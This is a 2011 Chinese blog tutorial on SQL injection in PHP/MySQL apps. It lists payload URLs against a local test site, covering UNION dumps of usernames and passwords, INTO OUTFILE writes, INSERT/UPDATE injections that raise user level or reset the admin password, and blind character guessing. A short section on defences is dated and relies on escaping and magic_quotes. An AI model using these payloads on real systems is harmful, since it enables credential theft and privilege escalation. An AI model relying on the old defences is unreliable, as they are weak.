PHP的SQL注入实现(测试代码安全不错)


Posted in PHP onFebruary 27, 2011

SQL注入的重点就是构造SQL语句,只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:http://4ngel.net', '3')#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');

UPDATE语句:我喜欢这样个东西
先理解这句SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net', userlevel='3
之后SQL语句变为
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
userlevel为用户级别
2:修改password值为
mypass)' WHERE username='admin'#
之后SQL语句变为
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3:修改id值为
' OR username='admin'
之后SQL语句变为
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

===高级部分===
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===
服务器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
数值类型
使用intval()抓换
字符串类型
SQL语句参数中要添加单引号
下面代码,用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章:
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)

PHP 相关文章推荐
PHP初学者头疼问题总结
Jul 08 PHP
php正则表达式使用的详细介绍
Apr 27 PHP
yii框架通过控制台命令创建定时任务示例
Apr 30 PHP
完美实现wordpress禁止文章修订和自动保存的方法
Nov 03 PHP
php递归函数三种实现方法及如何实现数字累加
Aug 07 PHP
解决php的“It is not safe to rely on the system’s timezone settings”问题
Oct 08 PHP
详解WordPress中的头像缓存和代理中的缓存更新方法
Mar 01 PHP
PHP 生成微信红包代码简单
Mar 25 PHP
zen_cart实现支付前生成订单的方法
May 06 PHP
php数据访问之增删改查操作
May 09 PHP
PHP大文件分块上传功能实例详解
Jul 22 PHP
解决laravel中日志权限莫名变成了root的问题
Oct 17 PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
让你成为更出色的PHP开发者的10个技巧
Feb 25 #PHP
理解php Hash函数,增强密码安全
Feb 25 #PHP
php中根据某年第几天计算出日期年月日的代码
Feb 24 #PHP
PHP中防止SQL注入实现代码
Feb 19 #PHP
You might like
自己写的php中文截取函数mb_strlen和mb_substr
2015/02/09 PHP
PHP从零开始打造自己的MVC框架之路由类实现方法分析
2019/06/03 PHP
如何解决PHP获取不到SESSION信息之一般情况
2019/10/10 PHP
二行代码解决全部网页木马
2008/03/28 Javascript
JQuery动态给table添加、删除行 改进版
2011/01/19 Javascript
jquery toolbar与网页浮动工具条具体实现代码
2014/01/12 Javascript
js实现带缓冲效果的仿QQ面板折叠菜单代码
2015/09/06 Javascript
AngularJS Phonecat实例讲解
2016/11/21 Javascript
Bootstrap源码解读排版(1)
2016/12/23 Javascript
利用jquery禁止外层滚动条的滚动
2017/01/05 Javascript
Element Input组件分析小结
2018/10/11 Javascript
详解在vue-cli项目下简单使用mockjs模拟数据
2018/10/19 Javascript
小程序云开发实战小结
2018/10/25 Javascript
浅谈VueJS SSR 后端绘制内存泄漏的相关解决经验
2018/12/20 Javascript
如何写好一个vue组件,老夫的一年经验全在这了(推荐)
2019/05/18 Javascript
浅析Vue下的components模板使用及应用
2019/11/27 Javascript
Vue为什么要谨慎使用$attrs与$listeners
2020/08/27 Javascript
微信小程序实现点赞业务
2021/02/10 Javascript
利用python批量检查网站的可用性
2016/09/09 Python
Pycharm学习教程(4) Python解释器的相关配置
2017/05/03 Python
python django 实现验证码的功能实例代码
2017/05/18 Python
老生常谈Python基础之字符编码
2017/06/14 Python
python实现基于SVM手写数字识别功能
2020/05/27 Python
使用Python实现一个栈判断括号是否平衡
2018/08/23 Python
python 使用sys.stdin和fileinput读入标准输入的方法
2018/10/17 Python
python-视频分帧&多帧合成视频实例
2019/12/10 Python
Python实现动态给类和对象添加属性和方法操作示例
2020/02/29 Python
django admin管理工具自定义时间区间筛选器DateRangeFilter介绍
2020/05/19 Python
python 动态渲染 mysql 配置文件的示例
2020/11/20 Python
长青弘远的面试题
2012/06/09 面试题
销售人员个人求职信
2013/09/26 职场文书
旅游业大学生创业计划书
2014/01/31 职场文书
电大毕业生自我鉴定
2014/04/10 职场文书
学生检讨书怎么写
2014/10/09 职场文书
Python中相见恨晚的技巧
2021/04/13 Python
面试被问select......for update会锁表还是锁行
2021/11/11 MySQL